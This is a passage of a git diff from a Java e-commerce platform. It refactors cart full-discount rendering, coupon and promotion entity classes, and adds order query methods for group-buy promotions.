index 5feb58e9..e487b614 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java @@ -13,6 +13,7 @@ import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.util.PromotionPriceUtil; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.service.FullDiscountService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -55,30 +56,30 @@ public class FullDiscountRender implements CartRenderStep { List storeIds = tradeDTO.getCartList().stream().map(CartVO::getStoreId).collect(Collectors.toList()); //获取当前店铺进行到满减活动 List fullDiscounts = fullDiscountService.currentPromotion(storeIds); - if (fullDiscounts == null || fullDiscounts.size() == 0) { + if (fullDiscounts == null || fullDiscounts.isEmpty()) { return; } //循环满减信息 for (FullDiscountVO fullDiscount : fullDiscounts) { //判定参与活动的商品 全品类参与或者部分商品参与,则进行云散 - if (fullDiscount.getNumber() == -1 || fullDiscount.getPromotionGoodsList() != null) { - //循环店铺购物车 - for (CartVO cart : cartList) { - //如果购物车中的店铺id与活动店铺id相等,则进行促销计算 - if (fullDiscount.getStoreId().equals(cart.getStoreId())) { + //循环店铺购物车 + for (CartVO cart : cartList) { + //如果购物车中的店铺id与活动店铺id相等,则进行促销计算 + if (fullDiscount.getStoreId().equals(cart.getStoreId())) { - //如果有赠品,则将赠品信息写入 - if (fullDiscount.getIsGift()) { - GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(fullDiscount.getGiftId()); - fullDiscount.setGiftSku(goodsSku); - } + //如果有赠品,则将赠品信息写入 + if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { + GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(fullDiscount.getGiftId()); + fullDiscount.setGiftSku(goodsSku); + } - //写入满减活动 - cart.setFullDiscount(fullDiscount); - Map skuPriceDetail; - //参与活动的sku判定 - skuPriceDetail = initFullDiscountGoods(fullDiscount, cart.getCheckedSkuList()); + //写入满减活动 + cart.setFullDiscount(fullDiscount); + Map skuPriceDetail; + //参与活动的sku判定 + skuPriceDetail = initFullDiscountGoods(fullDiscount, cart.getCheckedSkuList()); + if (!skuPriceDetail.isEmpty()) { //记录参与满减活动的sku cart.setFullDiscountSkuIds(new ArrayList<>(skuPriceDetail.keySet())); @@ -87,11 +88,11 @@ public class FullDiscountRender implements CartRenderStep { if (isFull(countPrice, cart)) { //如果减现金 - if (fullDiscount.getIsFullMinus()) { + if (Boolean.TRUE.equals(fullDiscount.getIsFullMinus())) { promotionPriceUtil.recountPrice(tradeDTO, skuPriceDetail, fullDiscount.getFullMinus(), PromotionTypeEnum.FULL_DISCOUNT); } //打折 - else if (fullDiscount.getIsFullRate()) { + else if (Boolean.TRUE.equals(fullDiscount.getIsFullRate())) { this.renderFullRate(cart, skuPriceDetail, CurrencyUtil.div(fullDiscount.getFullRate(), 10)); } //渲染满优惠 @@ -100,6 +101,7 @@ public class FullDiscountRender implements CartRenderStep { } } + } } @@ -145,19 +147,17 @@ public class FullDiscountRender implements CartRenderStep { Map skuPriceDetail = new HashMap<>(16); //全品类参与 - if (fullDiscount.getNumber() == -1) { + if (PromotionsScopeTypeEnum.ALL.name().equals(fullDiscount.getScopeType())) { for (CartSkuVO cartSkuVO : cartSkuVOS) { skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); } } else { - //判定参与活动的商品 - for (PromotionGoods promotionGoods : fullDiscount.getPromotionGoodsList()) { - //sku 集合判定 - for (CartSkuVO cartSkuVO : cartSkuVOS) { - // 如果参加满减,并且购物车选中状态 ,则记录商品sku - if (cartSkuVO.getChecked() && cartSkuVO.getGoodsSku().getId().equals(promotionGoods.getSkuId())) { - skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); - } + List collect = fullDiscount.getPromotionGoodsList().stream().map(PromotionGoods::getSkuId).collect(Collectors.toList()); + //sku 集合判定 + for (CartSkuVO cartSkuVO : cartSkuVOS) { + // 如果参加满减,并且购物车选中状态 ,则记录商品sku + if (Boolean.TRUE.equals(cartSkuVO.getChecked()) && collect.contains(cartSkuVO.getGoodsSku().getId())) { + skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); } } } @@ -173,17 +173,17 @@ public class FullDiscountRender implements CartRenderStep { //获取参与活动的商品总价 FullDiscountVO fullDiscount = cartVO.getFullDiscount(); - if (fullDiscount.getIsCoupon()) { + if (Boolean.TRUE.equals(fullDiscount.getIsCoupon())) { cartVO.getGiftCouponList().add(fullDiscount.getCouponId()); } - if (fullDiscount.getIsGift()) { + if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { cartVO.setGiftList(Arrays.asList(fullDiscount.getGiftId().split(","))); } - if (fullDiscount.getIsPoint()) { + if (Boolean.TRUE.equals(fullDiscount.getIsPoint())) { cartVO.setGiftPoint(fullDiscount.getPoint()); } //如果满足,判定是否免邮,免邮的话需要渲染一边sku - if (fullDiscount.getIsFreeFreight()) { + if (Boolean.TRUE.equals(fullDiscount.getIsFreeFreight())) { for (CartSkuVO skuVO : cartVO.getCheckedSkuList()) { skuVO.setIsFreeFreight(true); } @@ -214,7 +214,7 @@ public class FullDiscountRender implements CartRenderStep { * @return 总价 */ private Double countPrice(Map skuPriceMap) { - Double count = 0d; + double count = 0d; for (Double price : skuPriceMap.values()) { count = CurrencyUtil.add(count, price); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index d7ff3fc1..9354cf6b 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -25,14 +25,10 @@ import cn.lili.modules.order.cart.entity.vo.TradeParams; import cn.lili.modules.order.cart.render.TradeBuilder; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.vo.ReceiptVO; -import cn.lili.modules.promotion.entity.dos.KanjiaActivity; -import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.dos.Pintuan; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; -import cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum; +import cn.lili.modules.promotion.entity.dos.*; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.service.*; @@ -123,6 +119,11 @@ public class CartServiceImpl implements CartService { } CartTypeEnum cartTypeEnum = getCartType(cartType); GoodsSku dataSku = checkGoods(skuId); + Double validPromotionsGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Arrays.asList(PromotionTypeEnum.SECKILL.name(), PromotionTypeEnum.PINTUAN.name())); + if (validPromotionsGoodsPrice != null) { + dataSku.setIsPromotion(true); + dataSku.setPromotionPrice(validPromotionsGoodsPrice); + } try { //购物车方式购买需要保存之前的选择,其他方式购买,则直接抹除掉之前的记录 TradeDTO tradeDTO; @@ -636,15 +637,15 @@ public class CartServiceImpl implements CartService { } //当初购物车商品中是否存在符合优惠券条件的商品sku - if (memberCoupon.getScopeType().equals(CouponScopeTypeEnum.ALL.name())) { + if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.ALL.name())) { return cartSkuVOS; - } else if (memberCoupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) { + } else if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) { //分类路径是否包含 return cartSkuVOS.stream().filter(i -> i.getGoodsSku().getCategoryPath().indexOf("," + memberCoupon.getScopeId() + ",") <= 0).collect(Collectors.toList()); - } else if (memberCoupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS.name())) { + } else if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS.name())) { //范围关联ID是否包含 return cartSkuVOS.stream().filter(i -> memberCoupon.getScopeId().indexOf("," + i.getGoodsSku().getId() + ",") <= 0).collect(Collectors.toList()); - } else if (memberCoupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_SHOP_CATEGORY.name())) { + } else if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_SHOP_CATEGORY.name())) { //店铺分类路径是否包含 return cartSkuVOS.stream().filter(i -> i.getGoodsSku().getStoreCategoryPath().indexOf("," + memberCoupon.getScopeId() + ",") <= 0).collect(Collectors.toList()); } @@ -700,7 +701,7 @@ public class CartServiceImpl implements CartService { throw new ServiceException(ResultCode.CART_PINTUAN_NOT_EXIST_ERROR); } //检测拼团限购数量 - Pintuan pintuan = pintuanService.getPintuanById(cartSkuVO.getPintuanId()); + Pintuan pintuan = pintuanService.getById(cartSkuVO.getPintuanId()); Integer limitNum = pintuan.getLimitNum(); if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); @@ -715,7 +716,7 @@ public class CartServiceImpl implements CartService { private void checkKanjia(CartSkuVO cartSkuVO) { //根据skuId获取砍价商品 - KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); + KanjiaActivityGoods kanjiaActivityGoodsDTO = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); //查找当前会员的砍价商品活动 KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); @@ -746,7 +747,7 @@ public class CartServiceImpl implements CartService { */ private void checkPoint(CartSkuVO cartSkuVO) { - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsVOByMongo(cartSkuVO.getGoodsSku().getId()); + PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(cartSkuVO.getGoodsSku().getId()); if (pointsGoodsVO != null) { diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java index b442dd83..bc16120f 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java @@ -1,7 +1,7 @@ package cn.lili.modules.order.order.entity.dto; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import io.swagger.annotations.ApiModelProperty; import lombok.Data; @@ -74,7 +74,7 @@ public class AfterSalePriceDetailDTO implements Serializable { * 参与的促销活动 */ @ApiModelProperty(value = "参与的促销活动") - private List joinPromotion; + private List joinPromotion; public AfterSalePriceDetailDTO() { diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java index 864a152e..899327be 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java @@ -6,10 +6,7 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.DateUtil; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.order.entity.enums.CommentStatusEnum; -import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; -import cn.lili.modules.order.order.entity.enums.OrderTagEnum; -import cn.lili.modules.order.order.entity.enums.OrderTypeEnum; +import cn.lili.modules.order.order.entity.enums.*; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; @@ -104,6 +101,18 @@ public class OrderSearchParams extends PageVO { @ApiModelProperty(value = "评论状态:未评论(UNFINISHED),待追评(WAIT_CHASE),评论完成(FINISHED),") private String commentStatus; + @ApiModelProperty(value = "是否为其他订单下的订单,如果是则为依赖订单的sn,否则为空") + private String parentOrderSn; + + @ApiModelProperty(value = "是否为某订单类型的订单,如果是则为订单类型的id,否则为空") + private String promotionId; + + /** + * @see OrderPromotionTypeEnum + */ + @ApiModelProperty(value = "订单促销类型") + private String orderPromotionType; + public QueryWrapper queryWrapper() { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); QueryWrapper wrapper = new QueryWrapper<>(); @@ -192,6 +201,12 @@ public class OrderSearchParams extends PageVO { } } + // 依赖订单 + wrapper.eq(CharSequenceUtil.isNotEmpty(parentOrderSn), "o.parent_order_sn", parentOrderSn); + // 促销活动id + wrapper.eq(CharSequenceUtil.isNotEmpty(promotionId), "o.promotion_id", promotionId); + + wrapper.eq(CharSequenceUtil.isNotEmpty(orderPromotionType), "o.order_promotion_type", orderPromotionType); wrapper.eq("o.delete_flag", false); return wrapper; diff --git a/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java b/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java index a86f0e68..f92610ad 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java +++ b/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java @@ -52,6 +52,17 @@ public interface OrderMapper extends BaseMapper { " FROM li_order o INNER JOIN li_order_item AS oi on o.sn = oi.order_sn ${ew.customSqlSegment} ") IPage queryByParams(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + /** + * 查询订单信息 + * + * @param queryWrapper 查询条件 + * @return 简短订单分页 + */ + @Select("select o.* " + + " FROM li_order o INNER JOIN li_order_item AS oi on o.sn = oi.order_sn ${ew.customSqlSegment} ") + List queryListByParams(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** * 查询导出订单DTO列表 * diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java index 4fb1d04c..64d45791 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java @@ -51,6 +51,46 @@ public interface OrderService extends IService { */ IPage queryByParams(OrderSearchParams orderSearchParams); + /** + * 订单信息 + * + * @param orderSearchParams 查询参数 + * @return 订单信息 + */ + List queryListByParams(OrderSearchParams orderSearchParams); + + /** + * 根据促销查询订单 + * + * @param orderPromotionType 订单类型 + * @param payStatus 支付状态 + * @param parentOrderSn 依赖订单编号 + * @param orderSn 订单编号 + * @return 订单信息 + */ + List queryListByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn); + + /** + * 根据促销查询订单 + * + * @param orderPromotionType 订单类型 + * @param payStatus 支付状态 + * @param parentOrderSn 依赖订单编号 + * @param orderSn 订单编号 + * @return 订单信息 + */ + Integer queryCountByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn); + + /** + * 父级拼团订单分组 + * + * @param pintuanId 拼团id + * @return 拼团订单信息 + */ + List queryListByPromotion(String pintuanId); + + + /** * 查询导出订单列表 * diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index d5c4e42f..d92799dd 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -8,6 +8,7 @@ import cn.hutool.json.JSONUtil; import cn.hutool.poi.excel.ExcelReader; import cn.hutool.poi.excel.ExcelUtil; import cn.hutool.poi.excel.ExcelWriter; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; @@ -193,6 +194,70 @@ public class OrderServiceImpl extends ServiceImpl implements return this.baseMapper.queryByParams(PageUtil.initPage(orderSearchParams), queryWrapper); } + /** + * 订单信息 + * + * @param orderSearchParams 查询参数 + * @return 订单信息 + */ + @Override + public List queryListByParams(OrderSearchParams orderSearchParams) { + return this.baseMapper.queryListByParams(orderSearchParams.queryWrapper()); + } + + /** + * 根据促销查询订单 + * + * @param orderPromotionType 订单类型 + * @param payStatus 支付状态 + * @param parentOrderSn 依赖订单编号 + * @param orderSn 订单编号 + * @return 订单信息 + */ + @Override + public List queryListByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + //查找团长订单和已和当前拼团订单拼团的订单 + queryWrapper.eq(Order::getOrderPromotionType, orderPromotionType) + .eq(Order::getPayStatus, payStatus) + .and(i -> i.eq(Order::getParentOrderSn, parentOrderSn).or(j -> j.eq(Order::getSn, orderSn))); + return this.list(queryWrapper); + } + + /** + * 根据促销查询订单 + * + * @param orderPromotionType 订单类型 + * @param payStatus 支付状态 + * @param parentOrderSn 依赖订单编号 + * @param orderSn 订单编号 + * @return 订单信息 + */ + @Override + public Integer queryCountByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + //查找团长订单和已和当前拼团订单拼团的订单 + queryWrapper.eq(Order::getOrderPromotionType, orderPromotionType) + .eq(Order::getPayStatus, payStatus) + .and(i -> i.eq(Order::getParentOrderSn, parentOrderSn).or(j -> j.eq(Order::getSn, orderSn))); + return this.count(queryWrapper); + } + + /** + * 父级拼团订单 + * + * @param pintuanId 拼团id + * @return 拼团订单信息 + */ + @Override + public List queryListByPromotion(String pintuanId) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()); + queryWrapper.eq(Order::getPromotionId, pintuanId); + queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or().eq(Order::getOrderStatus, OrderStatusEnum.PAID.name())); + return this.list(queryWrapper); + } + @Override public List queryExportOrder(OrderSearchParams orderSearchParams) { return this.baseMapper.queryExportOrder(orderSearchParams.queryWrapper()); @@ -515,7 +580,7 @@ public class OrderServiceImpl extends ServiceImpl implements @Override public void agglomeratePintuanOrder(String pintuanId, String parentOrderSn) { //获取拼团配置 - Pintuan pintuan = pintuanService.getPintuanById(pintuanId); + Pintuan pintuan = pintuanService.getById(pintuanId); List list = this.getPintuanOrder(pintuanId, parentOrderSn); if (Boolean.TRUE.equals(pintuan.getFictitious()) && pintuan.getRequiredNum() > list.size()) { //如果开启虚拟成团且当前订单数量不足成团数量,则认为拼团成功 @@ -667,7 +732,7 @@ public class OrderServiceImpl extends ServiceImpl implements return; } //获取拼团配置 - Pintuan pintuan = pintuanService.getPintuanById(pintuanId); + Pintuan pintuan = pintuanService.getById(pintuanId); List list = this.getPintuanOrder(pintuanId, parentOrderSn); int count = list.size(); if (count == 1) { @@ -734,7 +799,7 @@ public class OrderServiceImpl extends ServiceImpl implements private void pintuanOrderFailed(List list) { for (Order order : list) { try { - this.cancel(order.getSn(), "拼团人数不足,拼团失败!"); + this.systemCancel(order.getSn(), "拼团人数不足,拼团失败!"); } catch (Exception e) { log.error("拼团订单取消失败", e); } @@ -766,7 +831,7 @@ public class OrderServiceImpl extends ServiceImpl implements private void checkOrder(Order order) { //订单类型为拼团订单,检测购买数量是否超过了限购数量 if (OrderPromotionTypeEnum.PINTUAN.name().equals(order.getOrderType())) { - Pintuan pintuan = pintuanService.getPintuanById(order.getPromotionId()); + Pintuan pintuan = pintuanService.getById(order.getPromotionId()); Integer limitNum = pintuan.getLimitNum(); if (limitNum != 0 && order.getGoodsNum() > limitNum) { throw new ServiceException(ResultCode.PINTUAN_LIMIT_NUM_ERROR); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java index 63bb9a3f..c7948947 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Coupon.java @@ -1,10 +1,17 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.CouponVO; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import lombok.ToString; +import org.springframework.beans.BeanUtils; /** @@ -13,15 +20,16 @@ import lombok.Data; * @author Chopper * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_coupon") @ApiModel(value = "优惠券实体类") -public class Coupon extends BasePromotion { - +@ToString(callSuper = true) +@NoArgsConstructor +public class Coupon extends BasePromotions { private static final long serialVersionUID = 8372820376262437018L; - @ApiModelProperty(value = "优惠券名称") private String couponName; @@ -33,21 +41,12 @@ public class Coupon extends BasePromotion { @ApiModelProperty(value = "优惠券类型") private String couponType; - /** - * @see cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum - */ - @ApiModelProperty(value = "关联范围类型") - private String scopeType; - @ApiModelProperty(value = "面额") private Double price; @ApiModelProperty(value = "折扣") private Double couponDiscount; - @ApiModelProperty(value = "范围关联的id") - private String scopeId; - /** * @see cn.lili.modules.promotion.entity.enums.CouponGetEnum */ @@ -77,7 +76,6 @@ public class Coupon extends BasePromotion { /** * @see cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum - * */ @ApiModelProperty(value = "时间范围类型") private String rangeDayType; @@ -85,4 +83,21 @@ public class Coupon extends BasePromotion { @ApiModelProperty(value = "有效期") private Integer effectiveDays; + public Coupon(CouponVO couponVO) { + BeanUtils.copyProperties(couponVO, this); + } + + + /** + * @return 促销状态 + * @see cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum + */ + @Override + public String getPromotionStatus() { + if (this.rangeDayType != null && this.rangeDayType.equals(CouponRangeDayEnum.DYNAMICTIME.name()) + && (this.effectiveDays != null && this.effectiveDays > 0 && this.effectiveDays <= 365)) { + return PromotionsStatusEnum.START.name(); + } + return super.getPromotionStatus(); + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java index 2584a13e..5db90bfc 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivity.java @@ -1,12 +1,13 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.CouponActivitySendTypeEnum; import cn.lili.modules.promotion.entity.enums.CouponActivityTypeEnum; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import javax.validation.constraints.NotNull; @@ -16,10 +17,11 @@ import javax.validation.constraints.NotNull; * @author Bulbasaur * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_coupon_activity") @ApiModel(value = "优惠券活动实体类") -public class CouponActivity extends BasePromotion { +public class CouponActivity extends BasePromotions { /** * @see CouponActivityTypeEnum diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivityItem.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivityItem.java index 78b9bfdb..68db91e8 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivityItem.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/CouponActivityItem.java @@ -5,6 +5,7 @@ import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 优惠券活动实体类 @@ -12,6 +13,7 @@ import lombok.Data; * @author Bulbasaur * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_coupon_activity_item") @ApiModel(value = "优惠券活动-优惠券关联实体类") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java index c0d937cf..48b894e0 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/FullDiscount.java @@ -1,6 +1,6 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; @@ -21,7 +21,7 @@ import javax.validation.constraints.NotNull; @Data @TableName("li_full_discount") @ApiModel(value = "满优惠活动") -public class FullDiscount extends BasePromotion { +public class FullDiscount extends BasePromotions { private static final long serialVersionUID = 430433787214894166L; diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivity.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivity.java index 88f79ea9..4d5db44d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivity.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivity.java @@ -6,14 +6,16 @@ import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 砍价活动参与实体类 * * @author qiuqiu - * @date 2020-7-1 10:44 上午 + * @since 2020-7-1 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_kanjia_activity") @ApiModel(value = "砍价活动参与对象") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java index 4c87dd86..acf01efe 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/KanjiaActivityGoods.java @@ -1,10 +1,11 @@ package cn.lili.modules.promotion.entity.dos; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import javax.validation.constraints.NotEmpty; @@ -14,10 +15,11 @@ import javax.validation.constraints.NotEmpty; * @author qiuqiu * @date 2020-7-1 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_kanjia_activity_goods") @ApiModel(value = "砍价活动商品对象") -public class KanjiaActivityGoods extends BasePromotion { +public class KanjiaActivityGoods extends BasePromotions { private static final long serialVersionUID = 6694714877345423488L; @@ -34,6 +36,10 @@ public class KanjiaActivityGoods extends BasePromotion { @ApiModelProperty(value = "货品id") @NotEmpty(message = "货品id不能为空") + private String goodsId; + + @ApiModelProperty(value = "货品SkuId") + @NotEmpty(message = "货品SkuId不能为空") private String skuId; @ApiModelProperty(value = "货品名称") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java index 220d0de2..e3127cbd 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java @@ -3,14 +3,16 @@ package cn.lili.modules.promotion.entity.dos; import cn.hutool.core.date.DateField; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; -import cn.lili.mybatis.BaseEntity; import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; import java.util.Date; @@ -20,6 +22,7 @@ import java.util.Date; * @author Chopper * @since 2020-03-19 10:44 上午 */ +@EqualsAndHashCode(callSuper = true) @Data @TableName("li_member_coupon") @ApiModel(value = "会员优惠券") @@ -52,7 +55,7 @@ public class MemberCoupon extends BaseEntity { private String 